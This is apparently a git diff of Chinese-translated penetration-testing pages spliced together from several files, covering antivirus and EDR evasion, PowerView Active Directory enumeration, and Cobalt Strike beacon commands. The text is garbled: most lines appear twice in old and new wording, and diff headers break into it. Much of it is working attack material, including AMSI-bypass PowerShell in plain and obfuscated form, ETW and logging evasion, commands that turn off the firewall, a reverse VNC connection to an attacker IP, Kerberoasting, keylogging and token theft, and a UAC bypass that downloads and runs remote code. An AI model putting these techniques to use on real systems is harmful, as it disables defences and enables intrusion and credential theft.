然而AMSI有能力解混淆脚本即使它有多层因此混淆可能是一个糟糕的选择具体取决于其实现方式。这使得规避变得不那么简单。尽管有时,你只需要更改几个变量名称就可以了,所以这取决于某个内容被标记的程度。
然而AMSI有能力解混淆脚本即使它有多层因此混淆可能是一个糟糕的选择这取决于混淆的方式。这使得规避变得不那么简单。尽管有时,你只需要更改几个变量名称就可以了,所以这取决于某个内容被标记的程度。
- **AMSI绕过**
由于AMSI是通过将DLL加载到powershell也包括cscript.exe、wscript.exe等进程中实现的因此即使以非特权用户身份运行也可以轻松篡改它。由于AMSI实现中的这个缺陷研究人员发现了多种规避AMSI扫描的方法。
由于AMSI是通过将DLL加载到powershell也包括cscript.exe、wscript.exe等进程中实现的因此即使以非特权用户身份运行也可以轻松篡改它。由于AMSI实现中的这个缺陷研究人员发现了多种规避AMSI扫描的方法。
**强制错误**
强制AMSI初始化失败amsiInitFailed将导致当前进程不会启动扫描。最初这是由[Matt Graeber](https://twitter.com/mattifestation)披露的,微软已经开发了一个签名以防止更广泛的使用。
```powershell
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
只需一行 PowerShell 代码即可使当前 PowerShell 进程无法使用 AMSI。 当然,这一行已被 AMSI 本身标记,因此需要进行一些修改才能使用此技术。
只需一行 PowerShell 代码就可以使当前 PowerShell 进程无法使用 AMSI。 当然,这一行已被 AMSI 本身标记,因此需要进行一些修改才能使用此技术。
这是我从这个 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) 中获取的修改过的 AMSI 绕过方法。
```powershell
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
@ -179,58 +181,85 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
请记住,一旦这篇文章发布,可能会被标记,因此如果你的计划是保持不被检测,就不应该发布任何代码。
请记住,一旦这篇文章发布,可能会被标记,因此如果你的计划是保持不被检测,就不应该发布任何代码。
**内存补丁**
该技术最初由 [@RastaMouse](https://twitter.com/_RastaMouse/) 发现涉及在 amsi.dll 中找到 "AmsiScanBuffer" 函数的地址(负责扫描用户提供的输入),并用返回 E_INVALIDARG 代码的指令覆盖它,这样,实际扫描的结果将返回 0这被解释为干净的结果。
该技术最初由 [@RastaMouse](https://twitter.com/_RastaMouse/) 发现,涉及在 amsi.dll 中找到 "AmsiScanBuffer" 函数的地址(负责扫描用户提供的输入),并用返回 E_INVALIDARG 代码的指令覆盖它,这样,实际扫描的结果将返回 0这被解释为干净的结果。
> [!NOTE]
> 请阅读 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) 以获取更详细的解释。
还有许多其他技术可以通过 PowerShell 绕过 AMSI查看 [**此页面**](basic-powershell-for-pentesters/index.html#amsi-bypass) 和 [这个仓库](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) 以了解更多信息。
还有许多其他技术用于通过 PowerShell 绕过 AMSI查看 [**此页面**](basic-powershell-for-pentesters/index.html#amsi-bypass) 和 [**此仓库**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) 以了解更多信息。
或者这个脚本通过内存补丁将补丁应用于每个新的 PowerShell
这个工具 [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) 也生成脚本以绕过 AMSI
## 混淆
**移除检测到的签名**
有几种工具可以用来 **混淆 C# 明文代码**,生成 **元编程模板** 以编译二进制文件或 **混淆编译后的二进制文件**,例如:
你可以使用工具 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 和 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** 从当前进程的内存中移除检测到的 AMSI 签名。该工具通过扫描当前进程的内存以查找 AMSI 签名,然后用 NOP 指令覆盖它,有效地将其从内存中移除。
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 混淆器**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 该项目的目的是提供一个开源的 LLVM 编译套件分支,能够通过 [代码混淆](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 和防篡改提供增强的软件安全性。
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator 演示如何使用 `C++11/14` 语言在编译时生成混淆代码,而无需使用任何外部工具且不修改编译器。
- [**obfy**](https://github.com/fritzone/obfy): 添加一层由 C++ 模板元编程框架生成的混淆操作,这将使想要破解应用程序的人稍微困难一些。
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz 是一个 x64 二进制混淆器,能够混淆各种不同的 pe 文件,包括:.exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame 是一个简单的变形代码引擎,用于任意可执行文件。
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator 是一个细粒度的代码混淆框架,适用于使用 ROP面向返回的编程的 LLVM 支持语言。ROPfuscator 通过将常规指令转换为 ROP 链,在汇编代码级别混淆程序,阻碍我们对正常控制流的自然概念。
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt 是一个用 Nim 编写的 .NET PE 加密器。
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor 能够将现有的 EXE/DLL 转换为 shellcode然后加载它们。
**使用 AMSI 的 AV/EDR 产品**
你可以在 **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** 找到使用 AMSI 的 AV/EDR 产品列表。
**使用 PowerShell 版本 2**
如果你使用 PowerShell 版本 2AMSI 将不会被加载,因此你可以在不被 AMSI 扫描的情况下运行你的脚本。你可以这样做:
```bash
powershell.exe -version 2
```
## PS Logging
PowerShell logging 是一个功能,允许您记录系统上执行的所有 PowerShell 命令。这对于审计和故障排除目的非常有用,但对于想要规避检测的攻击者来说,这也可能是一个**问题**。
要绕过 PowerShell logging您可以使用以下技术
- **禁用 PowerShell 转录和模块日志记录**:您可以使用工具如 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) 来实现这一目的。
- **使用 PowerShell 版本 2**:如果您使用 PowerShell 版本 2AMSI 将不会被加载,因此您可以在不被 AMSI 扫描的情况下运行脚本。您可以这样做:`powershell.exe -version 2`
- **使用非托管 PowerShell 会话**:使用 [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) 来生成一个没有防御的 PowerShell这就是 Cobalt Strike 的 `powerpick` 使用的方式)。
## Obfuscation
> [!NOTE]
> 几种混淆技术依赖于加密数据,这将增加二进制文件的熵,从而使 AV 和 EDR 更容易检测到它。对此要小心,可能只对您代码中敏感或需要隐藏的特定部分应用加密。
有几种工具可以用来**混淆 C# 明文代码**,生成**元编程模板**以编译二进制文件或**混淆已编译的二进制文件**,例如:
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx):这是一个很好的开源混淆器,用于 .NET 应用程序。它提供多种保护技术,如控制流混淆、反调试、反篡改和字符串加密。推荐使用,因为它甚至允许混淆特定的代码块。
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**C# 混淆器**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator):该项目的目的是提供一个开源的 LLVM 编译套件分支,能够通过[代码混淆](<http://en.wikipedia.org/wiki/Obfuscation_(software)>)和防篡改提供增强的软件安全性。
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator)ADVobfuscator 演示了如何使用 `C++11/14` 语言在编译时生成混淆代码,而无需使用任何外部工具且不修改编译器。
- [**obfy**](https://github.com/fritzone/obfy):添加一层由 C++ 模板元编程框架生成的混淆操作,这将使想要破解应用程序的人稍微困难一些。
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**Alcatraz 是一个 x64 二进制混淆器,能够混淆各种不同的 pe 文件,包括:.exe、.dll、.sys
- [**metame**](https://github.com/a0rtega/metame)Metame 是一个简单的变形代码引擎,适用于任意可执行文件。
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator)ROPfuscator 是一个细粒度的代码混淆框架,适用于使用 ROP面向返回的编程的 LLVM 支持语言。ROPfuscator 在汇编代码级别混淆程序,通过将常规指令转换为 ROP 链,阻碍我们对正常控制流的自然概念。
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt)Nimcrypt 是一个用 Nim 编写的 .NET PE 加密工具。
- [**inceptor**](https://github.com/klezVirus/inceptor)**Inceptor 能够将现有的 EXE/DLL 转换为 shellcode然后加载它们。
## SmartScreen & MoTW
你可能在从互联网下载某些可执行文件并执行它们时见过这个屏幕。
您可能在从互联网下载某些可执行文件并执行时见过此屏幕。
Microsoft Defender SmartScreen 是一种安全机制,旨在保护最终用户免受运行潜在恶意应用程序的影响。
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen 主要采用基于声誉的方法,这意味着不常下载的应用程序将触发 SmartScreen从而警告并阻止最终用户执行该文件尽管可以通过点击更多信息 -> 无论如何运行来执行该文件)。
SmartScreen 主要采用基于声誉的方法,这意味着不常下载的应用程序将触发 SmartScreen从而警告并阻止最终用户执行该文件尽管用户仍然可以通过点击更多信息 -> 无论如何运行来执行该文件)。
**MoTW**(网络标记)是一个 [NTFS 备用数据流](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>),其名称为 Zone.Identifier下载来自互联网的文件时会自动创建并附带下载的 URL。
<figure><img src="../images/image (237).png" alt=""><figcaption><p>检查从互联网下载的文件的 Zone.Identifier ADS。</p></figcaption></figure>
> [!NOTE]
> 重要的是要注意,使用 **受信任** 签名证书签名的可执行文件 **不会触发 SmartScreen**
> 重要的是要注意,使用**受信任**签名证书签名的可执行文件**不会触发 SmartScreen**。
防止你的有效载荷获得网络标记的一个非常有效的方法是将它们打包在某种容器中,例如 ISO。这是因为网络标记MOTW **不能** 应用于 **非 NTFS** 卷。
防止的有效载荷获得网络标记的一个非常有效的方法是将它们打包在某种容器中,例如 ISO。这是因为网络标记MOTW**不能**应用于**非 NTFS** 卷。
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) 是一个将有效载荷打包到输出容器中的工具,以规避网络标记。
示例用法:
```powershell
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
@ -255,52 +284,70 @@ Adding file: /TotallyLegitApp.exe
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## ETW
Windows 事件跟踪 (ETW) 是 Windows 中一种强大的日志记录机制,允许应用程序和系统组件 **记录事件**。然而,它也可以被安全产品用来监控和检测恶意活动。
类似于 AMSI 被禁用(绕过)的方式,也可以使用户空间进程的 **`EtwEventWrite`** 函数立即返回,而不记录任何事件。这是通过在内存中修补该函数以立即返回,从而有效地禁用该进程的 ETW 日志记录。
您可以在 **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) 和 [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)** 中找到更多信息。
## C# 程序集反射
在内存中加载 C# 二进制文件已经被知道了一段时间,这仍然是运行后渗透工具而不被 AV 捕获的非常好方法。
在内存中加载 C# 二进制文件已经被知道了一段时间,并且这仍然是运行后渗透工具而不被 AV 捕获的非常好方法。
由于有效负载将直接加载到内存中而不接触磁盘,我们只需担心在整个过程中修补 AMSI。
由于有效负载将直接加载到内存中而不接触磁盘,我们只需担心为整个过程修补 AMSI。
大多数 C2 框架sliver、Covenant、metasploit、CobaltStrike、Havoc 等)已经提供了直接在内存中执行 C# 程序集的能力,但有不同的方法可以做到这一点:
- **Fork\&Run**
这涉及到 **生成一个新的牺牲进程**,将你的后渗透恶意代码注入到该新进程中,执行你的恶意代码完成后杀死新进程。这有其优点和缺点。Fork 和运行方法的好处在于执行发生在我们的 Beacon 植入进程 **之外**。这意味着如果我们的后渗透操作出现问题或被捕获,我们的 **植入物存活的机会会更大**。缺点是你**更大的机会****行为检测** 捕获。
这涉及到 **生成一个新的牺牲进程**,将您的后渗透恶意代码注入到该新进程中,执行您的恶意代码完成后杀死新进程。这有其优点和缺点。Fork 和运行方法的好处在于执行发生在 **我们的 Beacon 植入进程之外**。这意味着如果我们的后渗透操作出现问题或被捕获,我们的 **植入物存活的机会更大**。缺点是您**更大的机会****行为检测** 捕获。
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
涉及将后渗透恶意代码 **注入到其自身进程中**。这样,你可以避免创建新进程并让其被 AV 扫描,但缺点是如果你的有效负载执行出现问题,**失去你的 beacon 的机会会更大**,因为它可能会崩溃。
是将后渗透恶意代码 **注入到其自身进程中**。这样,您可以避免创建新进程并被 AV 扫描,但缺点是如果您的有效负载执行出现问题,**丢失您的 beacon 的机会更大**,因为它可能崩溃。
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> 如果想了解更多关于 C# 程序集加载的信息,请查看这篇文章 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 和他们的 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> 如果想了解更多关于 C# 程序集加载的信息,请查看这篇文章 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 和他们的 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
还可以 **从 PowerShell 加载 C# 程序集**,查看 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 和 [S3cur3th1sSh1t 的视频](https://www.youtube.com/watch?v=oe11Q-3Akuk)。
还可以 **从 PowerShell 加载 C# 程序集**,查看 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 和 [S3cur3th1sSh1t 的视频](https://www.youtube.com/watch?v=oe11Q-3Akuk)。
## 使用其他编程语言
正如在 [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) 中提出的,可以通过让被攻陷的机器访问 **安装在攻击者控制的 SMB 共享上的解释器环境** 来使用其他语言执行恶意代码。
正如在 [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) 中提出的,可以通过让受损机器访问 **攻击者控制的 SMB 共享上安装的解释器环境** 来使用其他语言执行恶意代码。
通过允许访问 SMB 共享上的解释器二进制文件和环境,你可以 **在被攻陷机器的内存中执行这些语言的任意代码**。
通过允许访问 SMB 共享上的解释器二进制文件和环境,您可以 **在受损机器的内存中执行这些语言的任意代码**。
该仓库指出Defender 仍然会扫描脚本,但通过利用 Go、Java、PHP 等,我们有 **更多灵活性来绕过静态签名**。使用这些语言中的随机未混淆反向 shell 脚本进行测试已证明成功。
## TokenStomping
Token stomping 是一种技术,允许攻击者 **操纵访问令牌或安全产品,如 EDR 或 AV**,使他们能够降低其权限,以便进程不会终止,但没有权限检查恶意活动。
为了防止这种情况Windows 可以 **防止外部进程** 获取安全进程的令牌句柄。
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
## 高级规避
规避是一个非常复杂的话题,有时你必须考虑一个系统中许多不同的遥测来源,因此在成熟环境中完全不被检测几乎是不可能的。
规避是一个非常复杂的话题,有时必须考虑一个系统中许多不同的遥测来源,因此在成熟环境中完全不被检测几乎是不可能的。
你所面对的每个环境都有其自身的优缺点。
所面对的每个环境都有其自身的优缺点。
我强烈建议你观看 [@ATTL4S](https://twitter.com/DaniLJ94) 的这场演讲,以了解更多高级规避技术。
我强烈建议您观看 [@ATTL4S](https://twitter.com/DaniLJ94) 的这次演讲,以了解更多高级规避技术。
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
这也是 [@mariuszbit](https://twitter.com/mariuszbit) 关于深入规避的另一精彩演讲。
这也是 [@mariuszbit](https://twitter.com/mariuszbit) 关于深入规避的另一精彩演讲。
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
@ -310,12 +357,12 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
### **检查 Defender 发现的恶意部分**
你可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它会 **删除二进制文件的部分**,直到 **找出 Defender** 发现的恶意部分并将其分离给。\
另一个**同样事情的工具是** [**avred**](https://github.com/dobin/avred),它在 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 提供开放的网络服务。
您可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它将 **删除二进制文件的部分**,直到 **找出 Defender** 发现的恶意部分并将其分离给。\
另一个执行 **相同操作的工具是** [**avred**](https://github.com/dobin/avred),并在 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 提供开放的网络服务。
### **Telnet 服务器**
直到 Windows 10所有 Windows 都附带一个 **Telnet 服务器**可以通过以下方式安装(作为管理员):
直到 Windows 10所有 Windows 都附带一个 **Telnet 服务器**可以通过以下方式安装(作为管理员):
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
@ -344,11 +391,11 @@ netsh advfirewall set allprofiles state off
**攻击者**应在其 **主机** 中执行二进制文件 `vncviewer.exe -listen 5900`,以便 **准备** 捕获反向 **VNC 连接**。然后,在 **受害者** 机器中: 启动 winvnc 守护进程 `winvnc.exe -run` 并运行 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**警告:** 为了保持隐蔽性,你必须避免以下几件事
**警告:** 为了保持隐蔽性,你必须避免几件事
- 如果 `winvnc` 已经在运行,不要启动它,否则会触发一个 [弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否在运行
- 如果 `winvnc` 已经在运行,不要重新启动它,否则会触发 [弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否在运行
- 如果同一目录中没有 `UltraVNC.ini`,不要启动 `winvnc`,否则会导致 [配置窗口](https://i.imgur.com/rfMQWcf.png) 打开
- 不要运行 `winvnc -h` 获取帮助,否则会触发一个 [弹出窗口](https://i.imgur.com/oc18wcu.png)
- 不要运行 `winvnc -h` 获取帮助,否则会触发 [弹出窗口](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -360,7 +407,7 @@ cd GreatSCT/setup/
cd ..
./GreatSCT.py
```
GreatSCT 内部:
在GreatSCT内部
```
use 1
list #Listing available payloads
@ -525,6 +572,6 @@ https://github.com/praetorian-code/vulcan
```
### 更多
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

View File

@ -315,7 +315,7 @@ who^ami #whoami
### DOSfuscation
生成一个模糊化的 CMD 行
```powershell
```bash
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1

File diff suppressed because one or more lines are too long

View File

@ -7,7 +7,7 @@ PowerView的最新版本将始终在PowerSploit的开发分支中[https://git
[**SharpView**](https://github.com/tevora-threat/SharpView) 是 [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) 的.NET移植版
### 快速枚举
```powershell
```bash
Get-NetDomain #Basic domain info
#User info
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
@ -38,7 +38,7 @@ Invoke-UserHunter -CheckAccess
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
```
### 域信息
```powershell
```bash
# Domain Info
Get-Domain #Get info about the current domain
Get-NetDomain #Get info about the current domain
@ -61,7 +61,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
Get-ForestDomain
```
### 用户、组、计算机和组织单位
```powershell
```bash
# Users
## Get usernames and their groups
Get-DomainUser -Properties name, MemberOf | fl
@ -127,7 +127,7 @@ Get-NetOU #Get Organization Units
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
```
### 登录和会话
```powershell
```bash
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
@ -136,9 +136,9 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
```
### Group Policy Object - GPOs
如果攻击者对 **GPO** 拥有 **高权限**,他可能能够通过 **为用户添加权限**、**向主机添加本地管理员用户** 或 **创建计划任务**(立即)来进行 **限提升**。\
有关 **更多信息以及如何滥用它,请访问此链接**。
```powershell
如果攻击者对一个 GPO 拥有 **高权限**,他可能能够通过 **添加用户权限**、**向主机添加本地管理员用户** 或 **创建计划任务**(立即)来 **权** 以执行某个操作。\
有关此内容的 [**更多信息以及如何滥用它,请访问此链接**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation)
```bash
#GPO
Get-DomainGPO | select displayName #Check the names for info
Get-NetGPO #Get all policies with details
@ -171,14 +171,14 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
```
学习如何在以下内容中**利用 GPO 和 ACL 的权限**
学习如何 **利用 GPO 和 ACL 的权限**
{{#ref}}
../active-directory-methodology/acl-persistence-abuse/
{{#endref}}
### ACL
```powershell
```bash
#Get ACLs of an object (permissions of other objects over the indicated one)
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
@ -199,13 +199,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
```
### 共享文件和文件夹
```powershell
```bash
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
Find-InterestingDomainShareFile #Find interesting files, can use filters
```
### 域信任
```powershell
```bash
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
Get-DomainTrust #Same
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
@ -222,7 +222,7 @@ Get-DomainForeingUser #Get users with privileges in other domains inside the for
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### 低垂的果实
```powershell
```bash
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
@ -260,7 +260,7 @@ Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth
```
### 删除的对象
```powershell
```bash
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
@ -268,22 +268,22 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
### MISC
#### SID 转换为名称
```powershell
```bash
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
#### Kerberoast
```powershell
```bash
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
#### 使用不同的凭据(参数)
```powershell
```bash
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
```
#### 冒充用户
```powershell
```bash
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
@ -292,7 +292,7 @@ Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf
```
#### 设置值
```powershell
```bash
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
# Set the owner of 'dfm' in the current domain to 'harmj0y'

View File

@ -10,60 +10,65 @@
这些监听器的信标不需要直接与C2通信它们可以通过其他信标与其通信。
`Cobalt Strike -> Listeners -> Add/Edit` 然后您需要选择TCP或SMB信标
`Cobalt Strike -> Listeners -> Add/Edit` 然后您需要选择TCP或SMB信标
* **TCP信标将在所选端口设置监听器**。要连接到TCP信标请使用命令 `connect <ip> <port>` 从另一个信标
* **TCP信标将在所选端口设置监听器**。要连接到TCP信标请使用命令 `connect <ip> <port>` 从另一个信标
* **smb信标将在选定名称的管道中监听**。要连接到SMB信标您需要使用命令 `link [target] [pipe]`
### Generate & Host payloads
### 生成和托管有效负载
#### Generate payloads in files
#### 在文件中生成有效负载
`Attacks -> Packages ->`
* **`HTMLApplication`** 用于HTA文件
* **`MS Office Macro`** 用于带有宏的办公文档
* **`Windows Executable`** 用于.exe、.dll或服务.exe
* **`Windows Executable (S)`** 用于**无阶段**的.exe、.dll或服务.exe无阶段比有阶段更好IoCs更少
* **`Windows Executable (S)`** 用于**无状态**的.exe、.dll或服务.exe无状态比有状态更好IoCs更少
#### Generate & Host payloads
#### 生成和托管有效负载
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` 这将生成一个脚本/可执行文件以从cobalt strike下载信标格式包括bitsadmin、exe、powershell和python
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` 这将生成一个脚本/可执行文件以从cobalt strike下载信标格式包括bitsadmin、exe、powershell和python
#### Host Payloads
#### 托管有效负载
如果您已经有要在Web服务器上托管的文件只需转到 `Attacks -> Web Drive-by -> Host File` 并选择要托管的文件和Web服务器配置。
### Beacon Options
### 信标选项
<pre class="language-bash"><code class="lang-bash"># 执行本地 .NET 二进制文件
execute-assembly </path/to/executable.exe>
# 请注意,要加载大于 1MB 的程序集,需要修改可变配置文件的 'tasks_max_size' 属性。
# 截图
printscreen # 通过 PrintScr 方法拍摄单个截图
screenshot # 拍摄单个截图
screenwatch # 定期拍摄桌面截图
## 转到 View -> Screenshots 查看它们
## 转到视图 -> 截图以查看它们
# 键盘记录器
keylogger [pid] [x86|x64]
## View > Keystrokes 查看按下的键
## 视图 > 按键记录以查看按下的键
# 端口扫描
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # 在另一个进程中注入端口扫描操作
portscan [targets] [ports] [arp|icmp|none] [max connections]
# Powershell
# 导入 Powershell 模块
## 导入 Powershell 模块
powershell-import C:\path\to\PowerView.ps1
powershell <just write powershell cmd here>
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
powershell <在此处编写powershell命令> # 这使用最高支持的powershell版本不是oppsec
powerpick <cmdlet> <args> # 这会创建一个由spawnto指定的牺牲进程并将UnmanagedPowerShell注入其中以获得更好的opsec不记录
powerpick Invoke-PrivescAudit | fl
psinject <pid> <arch> <commandlet> <arguments> # 这会将UnmanagedPowerShell注入指定进程以运行PowerShell cmdlet。
# 用户冒充
## 使用凭据生成令牌
make_token [DOMAIN\user] [password] # 创建令牌以在网络中冒充用户
ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机的C$
ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机的C$
rev2self # 停止使用make_token生成的令牌
## 使用make_token会生成事件4624户成功登录。此事件在Windows域中非常常见但可以通过过滤登录类型来缩小范围。如上所述它使用LOGON32_LOGON_NEW_CREDENTIALS类型9。
## 使用make_token会生成事件4624户成功登录。此事件在Windows域中非常常见但可以通过过滤登录类型来缩小范围。如上所述它使用LOGON32_LOGON_NEW_CREDENTIALS这是类型9。
# UAC 绕过
elevate svc-exe <listener>
@ -72,21 +77,21 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
## 从pid窃取令牌
## 类似于make_token但从进程中窃取令牌
steal_token [pid] # 此外,这对于网络操作有用,而不是本地操作
## 从API文档中我们知道这种登录类型“允许调用者克隆其当前令牌”。这就是为什么信标输出显示冒充<current_username> - 它正在冒充我们自己的克隆令牌。
ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机的C$
rev2self # 停止使用steal_token的令牌
steal_token [pid] # 此外,这对于网络操作而非本地操作很有用
## 从API文档中我们知道这种登录类型“允许调用者克隆其当前令牌”。这就是信标输出显示冒充<current_username>的原因——它正在冒充我们自己的克隆令牌。
ls \\computer_name\c$ # 尝试使用生成的令牌访问计算机的C$
